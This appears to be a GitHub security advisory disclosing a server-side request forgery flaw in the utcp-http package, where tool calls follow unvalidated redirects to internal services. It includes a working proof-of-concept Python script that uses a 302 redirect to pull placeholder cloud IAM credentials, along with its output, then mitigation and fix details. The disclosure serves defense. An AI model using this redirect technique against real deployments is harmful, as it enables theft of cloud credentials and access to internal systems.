OSV 1.4.0 · github-reviewed · 修改于 2026-08-25 23:48
发布时间
2026-08-25 23:48
GitHub 审查时间
2026-08-25 23:48
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-9qhg-99ww-9mqc/GHSA-9qhg-99ww-9mqc.json
HttpCommunicationProtocol.call_tool validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore 302-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.
This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.
allow_redirects=True and no
per-hop revalidation, so the redirect target bypasses the check entirely:The validator (_security.py) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.
Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any https://, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required.
ensure_secure_url — trivially met by any https:// URL or a benign attacker-owned host; the attacker only needs to return a 3xx Location.call_tool) after registration.GET (cloud metadata, internal admin panel, unauth datastore, link-local endpoint).PUT for a session token), but other internal-SSRF targets remain reachable.The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released HttpCommunicationProtocol; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like 169.254.169.254.
Run: pip install utcp-http==1.1.3 aiohttp && python poc.py
import asyncio, socket
from aiohttp import web
from utcp_http.http_communication_protocol import HttpCommunicationProtocol
from utcp_http.http_call_template import HttpCallTemplate
MD = "/latest/meta-data/iam/security-credentials/app-role"
STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY",
"SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"}
def lan_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0]
finally: s.close()
async def main():
internal = lan_ip()
meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN))
mr = web.AppRunner(meta, access_log=None); await mr.setup()
ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start()
internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}"
atk = web.Application()
atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url}))
ar = web.AppRunner(atk, access_log=None); await ar.setup()
as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start()
tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool"
proto = HttpCommunicationProtocol()
ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET") # passes the validator
result = await proto.call_tool(None, "lookup", {}, ct) # follows 302 -> internal
print("caller received:", result)
await ar.cleanup(); await mr.cleanup()
asyncio.run(main())
Output:
caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'}
Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.
Disable automatic redirects for tool invocation (allow_redirects=False) and, if redirects must be supported, re-run ensure_secure_url on every hop's Location before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual https://-to-internal case as well.
Fixed in utcp-http 1.1.4. _security.py now ships
safe_request_with_redirects, a per-hop revalidator that disables
aiohttp's auto-follow, runs ensure_secure_url on every Location
header before issuing the next hop, caps the chain at 5 hops, and drops
the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP
plugins use it for both register_manual and call_tool; SSE +
streamable handshakes additionally reject any 3xx outright because the
streaming response has to stay open for the lifetime of the call. The
OAuth2 token-fetch path uses the same helper, closing the
redirect-on-token-URL variant.
The sister TypeScript implementation @utcp/http is fixed the same way
in 1.1.4.
Upgrade to utcp-http >= 1.1.4. No workaround in earlier versions
short of disabling all attacker-influenced manuals.